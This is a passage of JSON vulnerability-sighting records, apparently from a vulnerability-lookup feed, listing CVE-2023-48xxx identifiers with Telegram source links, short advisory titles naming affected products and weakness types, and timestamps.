"2024-01-06T22:32:04.000000Z"}, {"uuid": "f7b83155-4dde-4625-9704-2e4a1a836f27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48629", "type": "seen", "source": "https://t.me/ctinow/164019", "content": "https://ift.tt/LAozcag\nCVE-2023-48629 | Adobe Substance 3D Sampler up to 4.2.1 out-of-bounds write (apsb23-74)", "creation_timestamp": "2024-01-06T21:56:30.000000Z"}, {"uuid": "03749bb0-531d-4915-9064-e7109050bfbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48628", "type": "seen", "source": "https://t.me/ctinow/164018", "content": "https://ift.tt/z5a2rB0\nCVE-2023-48628 | Adobe Substance 3D Sampler up to 4.2.1 out-of-bounds write (apsb23-74)", "creation_timestamp": "2024-01-06T21:26:32.000000Z"}, {"uuid": "e31561be-6d88-42da-86dd-de1a16b76c8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48627", "type": "seen", "source": "https://t.me/ctinow/164017", "content": "https://ift.tt/mvu7zUY\nCVE-2023-48627 | Adobe Substance 3D Sampler up to 4.2.1 out-of-bounds write (apsb23-74)", "creation_timestamp": "2024-01-06T21:26:31.000000Z"}, {"uuid": "0c2b001e-00d3-4c6f-b47a-63faa13d9d23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48626", "type": "seen", "source": "https://t.me/ctinow/164014", "content": "https://ift.tt/TMsGvOQ\nCVE-2023-48626 | Adobe Substance 3D Sampler up to 4.2.1 out-of-bounds write (apsb23-74)", "creation_timestamp": "2024-01-06T20:56:18.000000Z"}, {"uuid": "c56bf1f9-7e0c-4a5f-b7ce-f5a9ae3d8305", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48050", "type": "seen", "source": "https://t.me/ctinow/166443", "content": "https://ift.tt/8vb6puR\nCVE-2023-48050 | ZKTeco Cams Biometrics Integration Module with HR Attendance controllers.py sql injection", "creation_timestamp": "2024-01-11T10:56:58.000000Z"}, {"uuid": "e8f20a81-4efd-4be1-901f-228a09f88bd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48780", "type": "seen", "source": "https://t.me/ctinow/166407", "content": "https://ift.tt/71wZjkU\nCVE-2023-48780 | EnigmaWeb WP Catalogue Plugin up to 1.7.6 on WordPress cross site scripting", "creation_timestamp": "2024-01-11T09:56:31.000000Z"}, {"uuid": "6494e960-c6c9-4fe5-b7e9-19ad493f93dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48677", "type": "seen", "source": "https://t.me/ctinow/161657", "content": "https://ift.tt/ioExk0s\nCVE-2023-48677 | Acronis Cyber Protect Home Office prior 40901 on Windows uncontrolled search path", "creation_timestamp": "2024-01-02T10:36:27.000000Z"}, {"uuid": "f45f4a05-6557-4df5-aa46-dc449a82d8f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48411", "type": "seen", "source": "https://t.me/ctinow/161098", "content": "https://ift.tt/xkuBJGP\nCVE-2023-48411 | Google Android kernel protocolmiscadapter.cpp FillGsmSignalStrength information disclosure", "creation_timestamp": "2023-12-31T14:41:25.000000Z"}, {"uuid": "7710c07b-e711-423a-97a5-dfe5ac001334", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48408", "type": "seen", "source": "https://t.me/ctinow/161097", "content": "https://ift.tt/PVMKeoN\nCVE-2023-48408 | Google Android protocolnetadapter.cpp ProtocolNetSimFileInfoAdapter information disclosure", "creation_timestamp": "2023-12-31T14:41:24.000000Z"}, {"uuid": "ac8d89ee-ea7f-49e1-97e4-f9d8cc4700f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48401", "type": "seen", "source": "https://t.me/ctinow/161096", "content": "https://ift.tt/L625nWO\nCVE-2023-48401 | Google Android protocoladapter.cpp GetSizeOfEenlRecords information disclosure", "creation_timestamp": "2023-12-31T14:41:23.000000Z"}, {"uuid": "c813463a-1509-4987-8007-852ecb38baee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48399", "type": "seen", "source": "https://t.me/ctinow/161095", "content": "https://ift.tt/zGXZ5Mf\nCVE-2023-48399 | Google Android protocolmiscadapter.cpp Init information disclosure", "creation_timestamp": "2023-12-31T14:41:22.000000Z"}, {"uuid": "e71bca9d-24a3-4fb4-937e-42d686e2c9c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48424", "type": "seen", "source": "https://t.me/ctinow/161282", "content": "https://ift.tt/j5daC3q\nCVE-2023-48424 | Google Android U-Boot Shell Privilege Escalation", "creation_timestamp": "2024-01-01T12:02:09.000000Z"}, {"uuid": "be19c228-12e5-47a7-a0d1-839dd036fcfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48861", "type": "seen", "source": "https://t.me/ctinow/160895", "content": "https://ift.tt/eqdAYWZ\nCVE-2023-48861 | TTplayer 7.0.2 urlmon.dll uncontrolled search path", "creation_timestamp": "2023-12-30T15:02:07.000000Z"}, {"uuid": "9b70d6b1-b026-4a70-9698-b4d2bea83e9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48839", "type": "seen", "source": "https://t.me/ctinow/160894", "content": "https://ift.tt/LT6dkJm\nCVE-2023-48839 | Appointment Scheduler 3.0 cross site scripting (ID 176055)", "creation_timestamp": "2023-12-30T15:02:05.000000Z"}, {"uuid": "4d5e4c1d-8980-4f0a-aacf-3a2444fd21df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48838", "type": "seen", "source": "https://t.me/ctinow/160893", "content": "https://ift.tt/aetzClK\nCVE-2023-48838 | Appointment Scheduler 3.0 MS API Key/Default Country Code cross site scripting (ID 176054)", "creation_timestamp": "2023-12-30T15:02:04.000000Z"}, {"uuid": "e7406981-d75d-4226-beec-5b5b3ac4d83a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48841", "type": "seen", "source": "https://t.me/ctinow/160890", "content": "https://ift.tt/7BeLEd8\nCVE-2023-48841 | Appointment Scheduler 3.0 Language Label Export csv injection (ID 176058)", "creation_timestamp": "2023-12-30T15:02:00.000000Z"}, {"uuid": "fd837a86-f0bc-42bc-a318-2b11912b5cb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48840", "type": "seen", "source": "https://t.me/ctinow/160889", "content": "https://ift.tt/9XngNO1\nCVE-2023-48840 | Appointment Scheduler 3.0 pjActionAjaxSend resource consumption (ID 176056)", "creation_timestamp": "2023-12-30T15:01:59.000000Z"}, {"uuid": "e379c98c-4fe6-43be-b2c5-b30cef1fdd14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48662", "type": "seen", "source": "https://t.me/ctinow/166370", "content": "https://ift.tt/5bvdQXl\nCVE-2023-48662 | Dell vApp Manager prior 9.2.4.x os command injection (dsa-2023-443)", "creation_timestamp": "2024-01-11T08:57:00.000000Z"}, {"uuid": "873877dc-4250-4a0b-b2dc-56fdf33af0fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48320", "type": "seen", "source": "https://t.me/ctinow/157620", "content": "https://ift.tt/Ox5jY2F\nCVE-2023-48320 | WebDorado SpiderVPlayer Plugin up to 1.5.22 on WordPress cross site scripting", "creation_timestamp": "2023-12-21T11:37:03.000000Z"}, {"uuid": "30b2fa08-5bfd-4f91-8ab7-521934e0bb10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48730", "type": "seen", "source": "https://t.me/ctinow/165985", "content": "https://ift.tt/Sj3NbUW\nCVE-2023-48730", "creation_timestamp": "2024-01-10T17:22:24.000000Z"}, {"uuid": "5f08db8d-fa9f-4a02-9ac5-561d009de9fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48728", "type": "seen", "source": "https://t.me/ctinow/165984", "content": "https://ift.tt/lGhwaN0\nCVE-2023-48728", "creation_timestamp": "2024-01-10T17:22:23.000000Z"}, {"uuid": "3a25e5de-6597-474a-a2d6-42ce12060de2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48732", "type": "seen", "source": "https://t.me/ctinow/161683", "content": "https://ift.tt/rvsc1pl\nCVE-2023-48732", "creation_timestamp": "2024-01-02T11:26:27.000000Z"}, {"uuid": "8a39c086-0c2a-4091-a0be-5ff6d014fe8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48676", "type": "seen", "source": "https://t.me/ctinow/166086", "content": "https://ift.tt/XGa5RQz\nCVE-2023-48676 | Acronis Cyber Protect Cloud Agent prior 36943 on Windows authorization", "creation_timestamp": "2024-01-10T19:46:37.000000Z"}, {"uuid": "5d198927-08de-418f-9417-5af2403dee22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48783", "type": "seen", "source": "https://t.me/ctinow/166076", "content": "https://ift.tt/L0wikuV\nCVE-2023-48783", "creation_timestamp": "2024-01-10T19:26:14.000000Z"}, {"uuid": "7c205381-494e-4d39-817f-b3b42d8e970d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48925", "type": "seen", "source": "https://t.me/ctinow/166029", "content": "https://ift.tt/IaU8bFA\nCVE-2023-48925 | Buy Addons bavideotab up to 1.0.5 on PrestaShop run sql injection", "creation_timestamp": "2024-01-10T18:11:57.000000Z"}, {"uuid": "f384fda0-f3e2-449d-9cca-71914af05c88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48084", "type": "seen", "source": "https://t.me/ctinow/165891", "content": "https://ift.tt/OveoWFJ\nCVE-2023-48084 | Nagios XI up to 5.11.2 Bulk Modification Tool sql injection", "creation_timestamp": "2024-01-10T16:11:52.000000Z"}, {"uuid": "a1b60f89-3d20-4a29-94fe-d07cc9c6026c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48250", "type": "seen", "source": "https://t.me/ctinow/165744", "content": "https://ift.tt/zPC5S6E\nCVE-2023-48250", "creation_timestamp": "2024-01-10T12:22:02.000000Z"}, {"uuid": "b92f666c-5e2f-4026-82a7-d8ddc471068d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48249", "type": "seen", "source": "https://t.me/ctinow/165743", "content": "https://ift.tt/rBRDIfz\nCVE-2023-48249", "creation_timestamp": "2024-01-10T12:22:00.000000Z"}, {"uuid": "61577054-d42c-44a3-9835-6d5c62ddd0e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48248", "type": "seen", "source": "https://t.me/ctinow/165742", "content": "https://ift.tt/5wXFsfR\nCVE-2023-48248", "creation_timestamp": "2024-01-10T12:21:59.000000Z"}, {"uuid": "7591755d-1c11-458c-928c-7c41568094b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48247", "type": "seen", "source": "https://t.me/ctinow/165741", "content": "https://ift.tt/RJ3OSbF\nCVE-2023-48247", "creation_timestamp": "2024-01-10T12:21:58.000000Z"}, {"uuid": "70af4942-90b5-4c99-8445-141ccafdebce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48246", "type": "seen", "source": "https://t.me/ctinow/165740", "content": "https://ift.tt/ten9vNk\nCVE-2023-48246", "creation_timestamp": "2024-01-10T12:21:57.000000Z"}, {"uuid": "614d593c-73e5-44f0-89d9-186d9d2d1cf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48245", "type": "seen", "source": "https://t.me/ctinow/165739", "content": "https://ift.tt/Hgku5pz\nCVE-2023-48245", "creation_timestamp": "2024-01-10T12:21:56.000000Z"}, {"uuid": "d9b45ec8-b172-40d5-b87e-eb0dbbcfda81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48244", "type": "seen", "source": "https://t.me/ctinow/165738", "content": "https://ift.tt/lz5vTFj\nCVE-2023-48244", "creation_timestamp": "2024-01-10T12:21:55.000000Z"}, {"uuid": "ac7bfa25-1653-4531-b563-d0881ed22a6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48243", "type": "seen", "source": "https://t.me/ctinow/165737", "content": "https://ift.tt/aWqVYEt\nCVE-2023-48243", "creation_timestamp": "2024-01-10T12:21:54.000000Z"}, {"uuid": "f78f654f-1304-46fd-b323-a2a26b32ff15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48242", "type": "seen", "source": "https://t.me/ctinow/165736", "content": "https://ift.tt/5AkNZJl\nCVE-2023-48242", "creation_timestamp": "2024-01-10T12:21:53.000000Z"}, {"uuid": "3634b776-b1b7-4f25-86a3-6076d9d8b855", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48360", "type": "seen", "source": "https://t.me/ctinow/161608", "content": "https://ift.tt/gruoIbM\nCVE-2023-48360", "creation_timestamp": "2024-01-02T09:26:18.000000Z"}, {"uuid": "3bfe5f94-8d33-4593-837a-507b47cc53a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4852", "type": "seen", "source": "https://t.me/cibsecurity/70178", "content": "\u203c CVE-2023-4852 \u203c\n\nA vulnerability was found in IBOS OA 4.5.5 and classified as critical. This issue affects some unknown processing of the file ?r=dashboard/database/optimize. The manipulation leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-239261 was assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-09T16:20:29.000000Z"}, {"uuid": "e2d5075e-257b-403e-ac7a-e89f4ef18866", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48413", "type": "seen", "source": "https://t.me/ctinow/161085", "content": "https://ift.tt/jqKESwQ\nCVE-2023-48413 | Google Android protocolnetadapter.cpp Init information disclosure", "creation_timestamp": "2023-12-31T14:11:17.000000Z"}, {"uuid": "128b8e12-19eb-400d-b542-44211c1e719b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48410", "type": "seen", "source": "https://t.me/ctinow/161084", "content": "https://ift.tt/P5WERfb\nCVE-2023-48410 | Google Android cd_codec.c cd_ParseMsg information disclosure", "creation_timestamp": "2023-12-31T13:41:50.000000Z"}, {"uuid": "a2227ed9-7176-49f7-8a5e-2d0a58f43aa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48404", "type": "seen", "source": "https://t.me/ctinow/161083", "content": "https://ift.tt/YOd0Q9S\nCVE-2023-48404 | Google Android protocolmiscadapter.cpp ProtocolMiscCarrierConfigSimInfoIndAdapter information disclosure", "creation_timestamp": "2023-12-31T13:41:49.000000Z"}, {"uuid": "c45d549e-e2e5-40eb-ae3a-f8185103faac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48403", "type": "seen", "source": "https://t.me/ctinow/161082", "content": "https://ift.tt/0ahxyoQ\nCVE-2023-48403 | Google Android sms_PduCodec.c sms_DecodeCodedTpMsg information disclosure", "creation_timestamp": "2023-12-31T13:41:48.000000Z"}, {"uuid": "385e942d-e9d8-4b97-8076-3e9a8de21eb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48958", "type": "seen", "source": "https://t.me/ctinow/161020", "content": "https://ift.tt/dKVsi0T\nCVE-2023-48958 | GPAC 2.3-DEV-rev617-g671976fcc-master media_tools/mpd.c gf_mpd_resolve_url memory leak (Issue 2689)", "creation_timestamp": "2023-12-31T09:16:18.000000Z"}, {"uuid": "a6524060-9e96-4dc0-827c-bad6c88786eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48398", "type": "seen", "source": "https://t.me/ctinow/161079", "content": "https://ift.tt/IM1KAS0\nCVE-2023-48398 | Google Android protocolnetadapter.cpp ProtocolNetAcBarringInfo information disclosure", "creation_timestamp": "2023-12-31T13:41:44.000000Z"}, {"uuid": "8447a727-7db3-494b-9b09-a5f22caeee3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48864", "type": "seen", "source": "https://t.me/ctinow/165650", "content": "https://ift.tt/bjaeKfg\nCVE-2023-48864", "creation_timestamp": "2024-01-10T09:26:39.000000Z"}, {"uuid": "270b68e2-1b40-47c9-a713-6af699e8f642", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48422", "type": "seen", "source": "https://t.me/ctinow/161093", "content": "https://ift.tt/Q8csWAz\nCVE-2023-48422 | Google Android kernel protocolnetadapter.cpp Init information disclosure", "creation_timestamp": "2023-12-31T14:41:19.000000Z"}, {"uuid": "3dd0beb7-35fe-43ae-8fff-03bfd5903801", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48421", "type": "seen", "source": "https://t.me/ctinow/161092", "content": "https://ift.tt/FYCEDLQ\nCVE-2023-48421 | Google Android pixel_gpu_slc.c gpu_pixel_handle_buffer_liveness_update_ioctl out-of-bounds write", "creation_timestamp": "2023-12-31T14:41:18.000000Z"}, {"uuid": "e429c7fe-598c-46ea-bb19-b8e16912a6f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48835", "type": "seen", "source": "https://t.me/ctinow/160880", "content": "https://ift.tt/EKq6D0m\nCVE-2023-48835 | PHP Jabbers Car Rental Script 3.0 Language Label Export csv injection (ID 176045)", "creation_timestamp": "2023-12-30T14:31:45.000000Z"}, {"uuid": "587a5b95-4813-4059-b32e-e9c2c0556468", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48831", "type": "seen", "source": "https://t.me/ctinow/160858", "content": "https://ift.tt/TycgnAk\nCVE-2023-48831 | PHP Jabbers Availability Booking Calendar 5.0 pjActionAJaxSend resource consumption (ID 176039)", "creation_timestamp": "2023-12-30T11:37:00.000000Z"}, {"uuid": "a478bdb6-dc5f-4cf7-9808-4f28fbf3fa07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48827", "type": "seen", "source": "https://t.me/ctinow/160857", "content": "https://ift.tt/5Dgczi9\nCVE-2023-48827 | PHP Jabbers Time Slots Booking Calendar 4.0 cross site scripting (ID 176036)", "creation_timestamp": "2023-12-30T11:36:59.000000Z"}, {"uuid": "85d5adb3-b8a0-4c7c-aa04-8cca74165051", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48206", "type": "seen", "source": "https://t.me/ctinow/160856", "content": "https://ift.tt/0AIjhqo\nCVE-2023-48206 | GaatiTrack Courier Management System 1.0 login.php page cross site scripting (ID 175803)", "creation_timestamp": "2023-12-30T11:36:58.000000Z"}, {"uuid": "f841f438-93d0-4b27-8fd6-0d3b4f89bf7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48849", "type": "seen", "source": "https://t.me/ctinow/160776", "content": "https://ift.tt/lTUsJif\nCVE-2023-48849 | Ruijie EG up to EG_3.0(1)B11P216 Filter Remote Code Execution", "creation_timestamp": "2023-12-30T08:01:48.000000Z"}, {"uuid": "a4a70b5c-d405-4fb3-9e85-e05d83657873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48623", "type": "seen", "source": "https://t.me/ctinow/164005", "content": "https://ift.tt/x1zENZf\nCVE-2023-48623 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T20:02:22.000000Z"}, {"uuid": "8c7a398c-fe31-4a1d-99ec-5b55d9057991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48622", "type": "seen", "source": "https://t.me/ctinow/164004", "content": "https://ift.tt/yfHphJU\nCVE-2023-48622 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T20:02:19.000000Z"}, {"uuid": "4d401c91-f0b7-4b24-aecf-fa03bd448227", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48621", "type": "seen", "source": "https://t.me/ctinow/163998", "content": "https://ift.tt/pyAX1Hk\nCVE-2023-48621 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T19:31:56.000000Z"}, {"uuid": "71feca07-25ce-431a-99bc-caa37055e70c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48620", "type": "seen", "source": "https://t.me/ctinow/163997", "content": "https://ift.tt/7h2wzW6\nCVE-2023-48620 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T19:31:53.000000Z"}, {"uuid": "9e9c2677-8b1d-43e8-88d6-35fe6ac47b13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48606", "type": "seen", "source": "https://t.me/ctinow/163963", "content": "https://ift.tt/nT31c0r\nCVE-2023-48606 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T16:26:36.000000Z"}, {"uuid": "30f0dd17-ec9b-4861-92cb-2fbeba33490e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48605", "type": "seen", "source": "https://t.me/ctinow/163962", "content": "https://ift.tt/fj2kG18\nCVE-2023-48605 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T16:26:35.000000Z"}, {"uuid": "62dc6867-ce2a-4096-a51d-90442bf29727", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48859", "type": "seen", "source": "https://t.me/ctinow/160821", "content": "https://ift.tt/TBGsOQu\nCVE-2023-48859 | Totolink A3002RU 2.0.0-B20190902.1958 improper authentication", "creation_timestamp": "2023-12-30T09:06:53.000000Z"}, {"uuid": "69677cd4-4c9a-4cef-a647-0839a468cf0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48715", "type": "seen", "source": "https://t.me/ctinow/161308", "content": "https://ift.tt/WuJREGw\nCVE-2023-48715 | Enalean Tuleap Community Edition/Tuleap Enterprise Edition cross site scripting", "creation_timestamp": "2024-01-01T14:02:35.000000Z"}, {"uuid": "965c3d9e-f2dd-4c90-a76e-574a872d6c86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48723", "type": "seen", "source": "https://t.me/ctinow/160153", "content": "https://ift.tt/BDjb6Ty\nCVE-2023-48723 Exploit", "creation_timestamp": "2023-12-28T19:16:23.000000Z"}, {"uuid": "a76ee003-4336-4def-bdd0-d2629da46ee2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48207", "type": "seen", "source": "https://t.me/ctinow/160861", "content": "https://ift.tt/FBO6PKA\nCVE-2023-48207 | Availability Booking Calendar 5.0 Reservations List csv injection (ID 175804)", "creation_timestamp": "2023-12-30T12:01:18.000000Z"}, {"uuid": "f2f35980-5a40-4bc6-b61b-aba5c7dc57dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48205", "type": "seen", "source": "https://t.me/ctinow/160860", "content": "https://ift.tt/CjNdTOD\nCVE-2023-48205 | Jorani Leave Management System 1.0.2 Header Host password recovery (ID 175802)", "creation_timestamp": "2023-12-30T12:01:16.000000Z"}, {"uuid": "e4a571c8-fafb-498a-8a47-f21a84984655", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48823", "type": "seen", "source": "https://t.me/ctinow/160851", "content": "https://ift.tt/wcgZ32m\nCVE-2023-48823 | GaatiTrack Courier Management System 1.0 Login ajax.php email sql injection (ID 176030)", 